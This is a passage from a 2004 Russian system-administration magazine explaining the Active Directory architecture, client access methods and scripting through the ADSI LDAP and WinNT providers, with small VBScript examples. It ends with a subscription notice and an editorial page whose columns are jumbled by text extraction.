модействие между клиентами и службами каталогов или
при репликации – между службами каталогами.
Ðèñóíîê 2. Àðõèòåêòóðà ñëóæá Active Directory
Далее перечислены основные службы-компоненты
Active Directory:

агент системы каталогов (directory system agent, DSA)
формирует иерархию каталога на основе отношений
родитель-потомок и обеспечивает интерфейс приклад-
ного программирования (application programming
interfece, API) для запросов на доступ к каталогу;

уровень базы данных является промежуточным уров-
нем – уровнем абстракций между базой данных и при-
ложениями;
№1(14), январь 2004
образование

ядро базы данных (Extensible Storage Engine, ESE),
работающее непосредственно с записями хранилища
каталогов, различает объекты по атрибуту относитель-
но составного каталога.

хранилище данных (файл базы данных Ntds.dit). С этим
файлом может работать только ядро базы данных. Об-
ращаться напрямую к этому файлу можно только с
помощью программы Ntdsutil, которая находится в пап-
ке Support/Tools на диске с операционной системой
Windows 2000 Server.
Клиенты получают доступ к Active Directory по одному
из перечисленных механизмов:
1) LDAP/ADSI. Клиенты, поддерживающие протокол LDAP,
используют его для доступа к агенту системы катало-
гов. Интерфейсы службы каталогов Active Directory
(Active Directory Service Interface – ADSI) служат для абст-
рагирования от LDAP интерфейса прикладного програм-
мирования (API), представляя COM-интерфейсы для вза-
имодействия с Active Directory. Однако нужно помнить,
что в Active Directory используется только LDAP;
2) MAPI. При обмене сообщениями и коллективной работе
клиенты MS Outlook подключаются к агенту системы ка-
талогов по механизму вызова удаленных процедур MAPI
через интерфейс средства доступа к адресной книге.
3) SAM. Клиенты MS Windows NT 4.0 и ранее Windows 9x
подключаются к агенту системы каталогов (DSA) че-
рез SAM;
4) REPL. В процессе репликации каталогов агент систе-
мы каталогов (DSA) Active Directory взаимодействует
через RPC-интерфейс.
Как показано на схеме, существует четыре способа
доступа к Active Directory. С точки зрения программного
управления Active Directory системного администратора
интересует только ADSI. ADSI поддерживает такие языки
программирования, как C/C++, VB/VBScript, Jscript, WSH,
и представляет объекты Active Directory в виде COM-
объектов, а управление осуществляется с помощью СОМ-
интерфейсов. Провайдеры ADSI (ADSI providers) представ-
ляют объекты ADSI в соответствующие пространства
имен, т.е. они преобразуют вызовы СОМ-интерфейсов к
запросам API конкретной службы каталогов.
Объектная модель ADSI
Наглядная схема объектной модели ADSI приведена на
рисунке.
Ðèñóíîê 4. Îáúåêòíàÿ ìîäåëü ADSI
93
 образование
Схема условно поделена на три части. Используя кли-
ента – язык программирования, скрипт получает доступ
к COM-объектам. Объекты могут быть двух видов – клас-
сы и подклассы. Обращение к подклассам осуществ-
ляется через классы, однако на схеме это не показано,
чтобы не загромождать рисунок. С помощью COM-
объекта через протокол LDAP или WinNT сценарий заг-
рузки получает доступ к выбранному элементу объект-
ной модели. Пространство имен условно обозначено
треугольником; квадратами обозначены классы, а круж-
ками – подклассы. Методы доступа к каждому из пере-
численных протоколов отличаются, однако можно при-
вести пример, который наглядно демонстрирует приве-
денную схему:
Ïðèìåð 5:
Set obj=GetObject("Protocol://ClassName")
For each SubClass in ClassName
temp=SubClass.Property
Next
Провайдеры ADSI
Интерфейс ADSI поддерживает следующие провайдеры,
с помощью которых осуществляется программное адми-
нистрирование:
Òàáëèöà 3
Для определения всех доступных протоколов на ва-
шем компьютере необходимо использовать службу
ADS:
Ïðèìåð 5
Set obj=GetObject("ADs:")
For Each provider IN obj
temp = temp + provider.name + chr(13)
Next
MsgBox temp
Из всех перечисленных провайдеров будут рассмот-
рены только LDAP и WINNT.
Провайдер ADSI LDAP выполняется на клиенте ADSI и
обеспечивает доступ к Active Directory.
Кроме служб каталогов Active Directory Windows 2000,
LDAP-провайдер обеспечивает доступ к:

Netscape Directory Server;

Microsoft Exchange Server 5.x и выше;

Microsoft Commercial Internet System (MCIS) Address
Book Server.
94
Программное управление Active Directory часто исполь-
зуется именно этим провайдером. Запрос провайдеру LDAP
составляется в формате LDAP URL (см. RFC 1779, RFC 2247):
LDAP://HostName[:PortNumber][/DistinguishedName]
Провайдер WinNT ADSI поддерживает доступ к катало-
гам Microsoft Window 4.0/3.x, обеспечивает связь с PDC и
BDC. Провайдер WinNT в основном используется для ра-
боты с принтерами. Причина проста: в отличие от провай-
дера LDAP провайдер WinNT рассматривает принтер не как
сетевое, а как локальное устройство. Только с помощью
провайдера WinNT можно управлять состоянием и очере-
дями принтеров. Совместное использование обоих провай-
деров позволит осуществлять мониторинг и управление
сетевыми принтерами домена (см. статью «Управление
сетевыми принтерами» в журнале «Системный админист-
ратор» №10(11) за 2003 г.). Порядок построения запроса
для провайдера WinNT в формате UNC следующий:
WinNT:[//DomainName[/ComputerName[/ObjectName[,className]]]]
Заключение
Получив фундаментальные знания о построении Active
Directory, поддерживаемых форматов имен и провайде-
ром, принципах программирования скриптов, можно при-
ступать к изучению объектных моделей провайдером. Как
ни странно, даже исчерпывающие знания объектной мо-
дели, умение применять на практике различные методы,
обеспечиваемые провайдерами, не позволяют успешно
программировать ADSI. По собственному опыту могу ска-
зать, что не зная основы (теории), которая сначала ка-
жется лишней, невозможно добиться корректной работы
скрипта в 100% случаях. Приведу один маленький, но
очень наглядный пример: в статье «Управление сетевы-
ми принтерами» в журнале «Системный администратор»
№10 за 2003 г. рассказано о том, как с помощью неболь-
шого сайта, написанном на ASP, управлять сетевыми
принтерами домена. Не секрет, что сначала создаются на-
работки – небольшие сценарии, затем состыковывая эти
небольшие отрывки между собой, получают решение ка-
кой-либо задачи. Заготовки были написаны на VBS, а сайт
написан на ASP, который хоть и поддерживает VBS, все
же накладывает свой отпечаток. После завершения со-
здания сайта было замечено, что он довольно часто вы-
дает ошибку связанную с тем, что невозможно найти базу,
хотя все отрывки на VBS были оттестированы и призна-
ны работающими корректно. Сначала грешили на репли-
кацию двух контроллеров домена. Однако, оказалось, что
проблема была в том, что имя сервера печати в провай-
дере LDAP необходимо было указывать в полном форма-
те, т.е. не server, а server.domain.com. Несмотря на то, что
VBS к формату имени равнодушен, для ASP это оказа-
лось принципиальным. Посмотрите таблицу 1 и сразу ста-
нет ясно какой формат имен необходимо использовать.
Итак, знание теории и вытекающих из нее нюансов,
поможет сэкономит время при создании и отладке про-
дукта.
 подписка

Продолжается подписка на I полугодие 2004 г.

Более подробная информация на сайте www.samag.ru
в разделе «Подписка»

Единый
подписной
индекс:

81655
по каталогу
агентства
«Роспечать»

Рады видеть
Вас нашими
читателями!

№1(14), январь 2004 95

 СИСТЕМНЫЙ АДМИНИСТРАТОР
№1(14), Январь, 2004 год

РЕДАКЦИЯ
ЧИТАЙТЕ
Исполнительный директор
Владимир Положевец
В СЛЕДУЮЩЕМ
Ответственный секретарь
Наталья Хвостова
sekretar@samag.ru
НОМЕРЕ:
Технический редактор
Владимир Лукин
Научно-технические консультанты Запуск Жизненный цикл червей
Дмитрий Горяинов Windows-приложений Червями принято называть сетевые
Павел Закляков под Linux c помощью вирусы, проникающие в зараженные
Андрей Бешков CrossOver Office машины вполне естественным путем,
Валерий Цуканов Для большинства людей сложность без каких-либо действий со стороны
Сергей Можайский использования Linux состоит не в том, пользователя. Они ближе всех ос-
что нужно перейти на совершенно от- тальных вирусов подобрались к мо-
РЕКЛАМНАЯ СЛУЖБА личную от Windows систему, а в от- дели своих биологических прототипов
тел./факс: (095) 928-8253 сутствии привычного окружения. Не- и потому чрезвычайно разрушитель-
Константин Меделян смотря на впечатляющие успехи офис- ны и опасны. Их не берут никакие при-
reсlama@samag.ru ных программ от Open Office, многим вентивные меры защиты, антивирус-
все же милее Microsoft Office. Да и по- ные сканеры и вакцины до сих пор ос-
Верстка и оформление чту многие любят читать ни чем иным, таются крайне неэффективными сред-
imposer@samag.ru как TheBat или Outlook. Сегодня мы ствами борьбы. Нашествие червей
maker_up@samag.ru поговорим о том, как с помощью нельзя предвидеть и практически не-
Дизайн обложки CroosOver Office запустить и успеш- возможно остановить. Но все-таки
Николай Петрочук но работать с Windows-приложения- черви уязвимы. Чтобы одолеть червя,
ми под управлением Linux. вы должны знать структуру его про-
103045, г. Москва, граммного кода, основные «повадки»,
Ананьевский переулок, дом 4/2 стр. 1 Уязвимости в MS Windows, наиболее вероятные алгоритмы вне-
тел./факс: (095) 928-8253 или В поисках решения дрения и распространения. Сеть Ин-
Е-mail: info@samag.ru проблемы по SUSекам тернет в целом и операционные сис-
Internet: www.samag.ru Microsoft темые в частности – это настоящий
За последнее время значительно уча- лабиринт, и вам понадобится его под-
РУКОВОДИТЕЛЬ ПРОЕКТА стились сетевые атаки, проводимые робная карта с отметками секретных
Петр Положевец через Интернет, причем их успеш- троп и черных ходов, используемых
УЧРЕДИТЕЛИ ность в подавляющем числе случаев червями для скрытого проникновения
Владимир Положевец обусловлена вовсе не выдающимися в нервные узлы жертвы.
Александр Михалев способностями атакующих. У многих
в памяти еще свежи воспоминания о Программное управление
ИЗДАТЕЛЬ лихорадке, вызванной уязвимостью в ADSI: WINNT
ЗАО «Издательский дом MS SQL Server 2000, или недавней В предыдущей статье были рассмот-
«Учительская газета» эпидемии червя W32.blaster, эксплу- рены теоретические аспекты постро-
атирующего уязвимость в службе ения Active Directory и проведен об-
Отпечатано типографией RPC/DCOM. Масштаб этих атак был зор доступных провайдеров, с помо-
ООО «Мастер Печати» колоссален. В этой статье будут рас- щью которых можно программно уп-
Тираж 6600 экз. смотрены различные способы авто- равлять Active Directory. Одним из та-
Журнал зарегистрирован матизации процесса установки крити- ких провайдеров является WinNT, ос-
в Министерстве РФ по делам печати, ческих обновлений для ОС MS новы программирования которого бу-
телерадиовещания и средств мас- Windows (2000/XP/2003). дут рассмотрены в данной статье.
совых коммуникаций (свидетельство
ПИ № 77-12542 от 24 апреля 2002г.)

За содержание статьи ответственность

Наши партнеры
несет автор. За содержание рекламно-
го обьявления ответственность несет
рекламодатель. Все права на опубли-
кованные материалы защищены. Ре-
дакция оставляет за собой право изме-
нять содержание следующих номеров.

96